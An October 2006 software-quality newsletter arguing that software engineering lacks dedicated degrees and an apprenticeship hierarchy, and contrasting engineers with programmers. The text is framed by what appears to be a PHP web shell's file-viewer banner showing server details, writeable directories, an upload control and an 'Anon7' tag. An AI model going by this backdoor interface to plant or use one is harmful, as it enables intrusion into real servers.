KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/srakitin/OLD/newsletter/vol3/no8/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/srakitin/OLD/newsletter/vol3/no8/vol3no8.txt
Food for Thought-An e-newsletter published by Software Quality Consulting, Inc.
October 2006, Vol. 3 No. 8 - What�s In a Title?

What topics would you like to see in this newsletter?

Each month, this newsletter tries to provide you with useful information.  This
is a two-way street and your feedback is important.  Please send your thoughts
and comments to [email protected].

--------------------------------------------------------------------------------

Welcome to Food for Thought(TM), an e-newsletter from Software Quality 
Consulting (http://www.swqual.com/index.html?Intro). I've created free
subscriptions for my valued business contacts. If you find this newsletter
informative, I encourage you to continue reading. Feel free to pass this
newsletter along to colleagues by clicking this Forward Email link
(http://ui.constantcontact.com/roving/sa/fp.jsp?plat=i&p=f&m=sctz69n6). If
you�ve received this newsletter from a colleague and would like to subscribe,
please click this Enter New Subscription link
(http://www.swqual.com/newsletter/Subscribe.htm?Newsletter). If you don't wish
to receive this newsletter, click the SafeUnSubscribe(TM) link at the bottom of
this newsletter, and you won�t be bothered again.

Your continued feedback on this newsletter is most welcome. Please send 
your comments and suggestions to [email protected].

--------------------------------------------------------------------------------

*** In This Issue ***

In This Months� Topic, I discuss the difference between a software 
engineer and a programmer...

Regular features to look for each month are:

- Monthly Morsels
  Hints, tips, techniques and reference info related to this month�s topic 

- Calendar
  Conferences, workshops, and meetings of interest to software engineers, 
  QA engineers and anyone interested in software development 

--------------------------------------------------------------------------------

*** This Month�s Topic ***

What�s In a Title?

And then there�s this from the New York Times:

  �Have you ever wanted to be a �group idea management director�? Now you 
  can. How about a �chief transformation officer�? There are several of 
  those. Does the title �marketing evangelist� suit you? Or perhaps �chief 
  consumer officer�? What about �vice president for stakeholder 
  relations�? Executives have been appointed recently to all those titles.
 
  For example, [the PR firm] Initiative named a �chief activation officer� 
  last week. Last month, [the PR firm] Arnold Worldwide promoted an 
  executive to �director for the department of human nature�. And Yahoo 
  named an executive to serve as �chief of insights�.� [1] 

Do these titles mean anything? I don�t know but I believe the problem of 
meaningless titles extends well beyond the companies mentioned above... 

These days, many job titles seem to have the �engineer� designation 
attached to them. For example, we now have:

- Domestic engineers (stay-at-home parents) 
- Sanitation engineers (trash collectors) 
- Railroad engineers (people who drive locomotives) 

As you might expect, the software industry uses the title engineer very 
loosely as well. Job titles at software companies often include:

- User interface engineer (does windows) 
- Database engineer (schemas, tables, and queries, oh my!) 
- Requirements engineer (makes English make sense) 
- Test engineer (tests, what else?) 
- SQA engineer (a fancy title for a test engineer) 
- Release engineer (Bob the Builder) 
- Software engineer (?) 
- Programmer (?) 

I want to focus on two of these titles for now - software engineer and 
programmer. Specifically, I want to discuss...

  What is a software engineer?

  What is a programmer?

Before examining these questions, we need to understand a bit about 
engineering professions.

ENGINEERING PROFESSIONS

Engineering professions generally have five characteristics [2]:

1 A professional education from an accredited institution

2 Registration of fitness to practice via voluntary certification or 
  mandatory licensing

3 Specialized skill development and continuing professional education

4 Communal support via professional societies

5 A commitment to norms of conduct often prescribed in a code of ethics 

Does the software engineering profession have all five of these 
characteristics? Let�s see:

1 We don�t have this. Even today, very few universities offer 
  undergraduate degrees in software engineering. Most schools offer 
  degrees in Computer Science. As part of that curriculum, students may 
  take some software engineering courses but the focus is on computer 
  science not software engineering.

  David Parnas explains why a degree in Computer Science is not sufficient 
  training for software engineers. He says: 
 
   �The increasing importance of software, combined with our increased 
    knowledge about how to build it, has resulted in a need for graduates 
    who, like other engineers, have received an education that focuses on 
    how to design and manufacture reliable products, but who specialize in 
    designing, building, testing, and �maintaining� software products. We 
    can no longer squeeze what we know into a few courses in traditional 
    engineering or computer science programs.� [3]

  Most people who call themselves �software engineers� (myself included) 
  probably have an undergraduate degree in Computer Science (or if you are 
  my age, it is probably in EE, Math or Physics).

2 Registration of fitness to practice via voluntary certification or 
  mandatory licensing

  We do have this. Voluntary certification programs that assess �fitness 
  to practice� are offered by: 

  - IEEE-Computer Society - Certified Software Development Professional.
    (http://www.computer.org/portal/site/ieeecs/menuitem.c5efb9b8ade9096b8a9ca0108bcd45f3/index.jsp?&pName=ieeecs_level1&path=ieeecs/education/certification&file=index.xml&xsl=generic.xsl&) 

  - ASQ-Software Division - Certified Software Quality Engineer.
    (http://www.asq.org/softwareforum/getcertified/index.html) 

  Currently, Texas requires that people who use the title software 
  engineer be licensed in a manner similar to professional engineers. 
  (Note: there are currently only 65 licensed software engineers in 
  Texas). Canada and a few European countries also require software 
  engineers to be licensed in a manner similar to professional engineers.

  Read more...   

  - IEEE � Computer Society�s position on licensing software engineers
    (http://www.ieeeusa.org/policy/positions/licensure.html) 

  - Association for Computing Machinery�s (ACM) position on licensing 
    software engineers
    (http://www.acm.org/serving/se_policy/selep_main.html)

3 Specialized skill development and continuing professional education

  We do have this. There are thousands of specialized courses available in 
  highly specific areas that provide engineers with skills in .net, C#, 
  Java, use case modeling, etc.

  The Software Engineering Institute
  (http://www.sei.cmu.edu/products/courses/courses.html) offers education and
  training courses in many relevant software engineering topic areas. The SEI
  sponsors local chapters (called Software Process Improvement Network or SPINs)
  that hold frequent meetings with guest lecturers speaking on many current
  topics... 

  - Find a SPIN in your area...
    (http://www.sei.cmu.edu/collaborating/spins/calendar.html#states) 

  The IEEE-Computer Society
  (http://www.computer.org/portal/site/ieeecs/index.jsp) also offer many short
  courses on software engineering related topics and sponsors many software
  engineering conferences. The IEEE also sponsors local chapters, many of which
  provide continuing professional education courses.

  - Find an IEEE Chapter in your area...
    (http://www.ieee.org/web/geo_activities/home/index.html)

  Communal support via professional societies

  We do have this. Several professional societies support the software 
  engineering profession. The most well-known include: 

  - IEEE-Computer Society
    (http://www.computer.org/portal/site/ieeecs/index.jsp)

  - Association for Computing Machinery (ACM)
    (http://www.acm.org/)

  - ASQ-Software Division
    (http://www.asq.org/softwareforum/index.html)

5 A commitment to norms of conduct often prescribed in a code of ethics

  We do have this. The IEEE-CS and ACM have jointly developed a Software 
  Engineering Code of Ethics and Professional Practices
  (http://www.acm.org/serving/se/code.htm). However, not many people are aware
  that it exists. 

You might think that four out of five isn�t too bad. But the one we don�t 
have is the most critical. Parnas says that:

  �Engineers are professionals whose education prepares them to use 
  mathematics, science, and the technology of the day to build products 
  that are important to the safety and well-being of the public.� [3]

The National Society for Professional Engineers (http://www.nspe.org/) defines
engineering as:

  �... the creative application of scientific principles used to plan, 
  build, direct, guide, manage, or work on systems to maintain and improve 
  our daily lives.�

These definitions paint an interesting picture of what engineers do. While 
we are probably very familiar with what software engineers presently do, 
we really need to understand what software engineers should do...

WHAT SOFTWARE ENGINEERS SHOULD DO

Steve McConnell observed:

 �The most common approach to software development today is 
  code-and-fix programming � or hacking. In this approach, a development 
  team begins with a general idea of what they want to build. They might 
  have a formal specification, but probably not. They use whatever 
  combination of informal design, code, debug, and test methodologies 
  suits them. Programmers write a little code and run it to see whether it 
  works. If it doesn�t work, they change it until it does. The 
  code-and-fix approach is far from the state of the art in software 
  development. It costs more, takes longer, and produces lower-quality 
  software than other approaches; its main advantage is that it requires 
  little technical or managerial training. Leading organizations have 
  known and used effective software development practices for decades, but 
  the gap between average practice and best practice in software is 
  enormous.� [4]

The IEEE Glossary of Software Engineering Terminology defines software 
engineering as: 

  �the application of a systematic, disciplined, quantifiable approach to 
  the development, operation, and maintenance of software.� [5]

Software engineering as defined above represents one end of the spectrum. 
The other end of this spectrum is the code-and-fix hacking approach 
described by Steve McConnell.

Given all of this, in my opinion, a software engineer should be directly 
involved in a variety of tasks that may include:

- Understanding problem domains 
- Establishing effective dialogues with end users or their proxies 
- Performing system analyses 
- Performing system safety and risk analyses 
- Performing requirements analyses 
- Designing user interfaces 
- Estimating and scheduling software tasks 
- Leading and participating in Peer Reviews 
- Evaluating existing architectures, components, and tools 
- Establishing standards 
- Developing overall system architectures 
- Developing high level designs 
- Developing detailed designs 
- Coding high-risk, critical components 
- Unit and integration testing 
- Supporting system testing 
- Defect resolution and tracking 
- Change Management 
- Release Planning 
- Creating system documentation 
- Interacting with other groups on tasks such as Triage, Root Cause 
  Analysis, Risk Management, Project Management, etc. 
- Mentoring and leadership 

In my view, the role of a software engineer should be very broad and 
should require education and skills in many areas. For those of you with 
undergraduate degrees in Computer Science, which of the skills listed 
above did you learn in college? Very few I would guess. An undergrad 
degree in Software Engineering would focus on many of these topics.

  Read more...2004 IEEE-ACM Joint Task Force Report on Curriculum for 
  Undergraduate Degree in Software Engineering
  (http://sites.computer.org/ccse/SE2004Volume.pdf)

WHAT PROGRAMMERS SHOULD DO 

In every engineering discipline, there exists a natural hierarchy based on 
education, skills, and demonstrated mastery of basic engineering 
principles. For example, electrical engineers (EEs) often work with 
engineering technicians. Engineering technicians are trained to perform 
specific tasks under the direction of an EE. Some engineering technicians 
are pursuing an EE degree or are in an Engineer-in-training program. In 
the EE profession, the responsibilities of the EE and the engineering 
technician are well-established and the results of this working 
relationship have proven to be very effective.

In the software engineering profession, this natural hierarchy doesn�t 
exist. As a result, we lack an environment for apprenticeship and 
mentoring.

In my opinion, these are tasks that programmers should be involved in:

- Reviewing requirements 
- Reviewing proposed architectures and high level designs 
- Estimating coding and unit and integration testing tasks 
- Participating in Peer Reviews 
- Developing detailed designs 
- Coding of selected components 
- Unit and integration testing 
- Bug fixing 
- Source code control 
- Build control 
- Documentation 

By having programmers focused on these tasks, software engineers can spend 
more of their time on the tasks identified above, especially mentoring, 
coaching, and leadership.

I believe that programmers are to software engineers like technicians are 
to EEs. They fill a very important role. Like technicians, programmers 
need a subset of the training and skills required of software engineers. 
Like technicians, programmers need coaching, mentoring, and formal 
training before they should become software engineers. Like technicians, 
programmers should have at a minimum, a two year Associates Degree in 
Computer Programming � offered at many community colleges and technical 
schools.

SUMMARY

Years ago we recognized the need to separate Computer Science from other 
departments (such as Electrical Engineering and Physics). Unfortunately, 
the recognition that Software Engineering needs to be separated from 
Computer Science has been painfully slow in coming. As a result, the 
formal training of people with the title �software engineer� has been 
focused primarily on computer science not software engineering.

The natural hierarchy that exists in other engineering professions doesn�t 
exist in the software engineering profession. Software engineering lacks 
apprentice and mentoring relationships common in most every engineering 
profession. Such relationships are critical if software engineering is 
ever to become a true engineering profession. 

  And on a lighter note... if you like crossword puzzles, try this one
  (http://www.swqual.com/newsletter/vol3/no8/Oct%202006%20puzzle.pdf). Send
  me an e-mail ([email protected]) if you would like the answers.

Until next time...

--------------------------------------------------------------------------------

*** Monthly Morsels ***

Every month in this space you�ll find additional information related to 
this month�s topic.

- References:

  [1] Ellis. S., �Wanted: Experience Officer. Some Necessary�, NY Times, 
  Sept 13, 2006.

  [2] G. Ford and N.E. Gibbs, A Mature Profession of Software Engineering 
  , Software Engineering Institute, Carnegie Mellon University, 
  Pittsburgh, Pa., tech. report CMU/SEI-96-TR-004, Jan. 1996.

  [3] Parnas, D. L., �Software Engineering Programs are not Computer 
  Science Programs�, IEEE Software, Nov/Dec 1999.
  (http://www.swqual.com/newsletter/vol3/no8/Parnas.pdf)

  [4] McConnell, S. and Tripp, L., �Professional Software Engineering � 
  Fact or Fiction�, IEEE Software, Nov/Dec 1999.
  (http://www.swqual.com/newsletter/vol3/no8/McConnell.pdf)

  [5] IEEE Glossary of Software Engineering Terminology, IEEE Standard 
  610.12 . 

- On-line Resources

  Krill, P., �Are developers programmers or engineers? Software project 
  management pondered�, Infoworld.com, Feb 12, 2003
  (http://www.infoworld.com/article/03/02/12/HNproject_1.html)

--------------------------------------------------------------------------------

*** Calendar ***

Every month you�ll find news here about local and national events that 
are of interest to the software community ...

- Software Quality Calendar

  There are many organizations that sponsor monthly meetings, workshops, 
  and conferences of interest to software professionals. Find out what�s 
  happening... 
  (http://www.swqual.com/links/upcoming.html)

- Workshops Offered by Software Quality Consulting

  Software Quality Consulting offers workshops in many topics related to 
  software process improvement. Get more info... 
  (http://www.swqual.com/seminars/courses.html)

--------------------------------------------------------------------------------

*** About SQC ***

Software Quality Consulting provides consulting, training, and auditing 
services tailored to meet the specific needs of clients. We help clients 
fine-tune their software development processes and improve the quality of 
their software products. The overall goal is to help clients achieve 
Predictable Software Development(TM) � so that organizations can consistently 
deliver quality software with promised features in the promised timeframe. 

To learn more about how we can help your organization, visit our web site
(http://www.swqual.com/index.html?AboutSQC) or send us an email
([email protected]).

--------------------------------------------------------------------------------

I hope this newsletter has been informative and helpful. Your comments and 
feedback are most welcome. Send me your feedback ([email protected])...

Thanks,

Steve Rakitin
[email protected]


Food for Thought, Predictable Software Development, Act Like a Customer,
and ALAC are trademarks of Software Quality Consulting, Inc.
Copyright 2006. Software Quality Consulting, Inc. All rights reserved.
Graphic design by Sage Studio  

Anon7 - 2021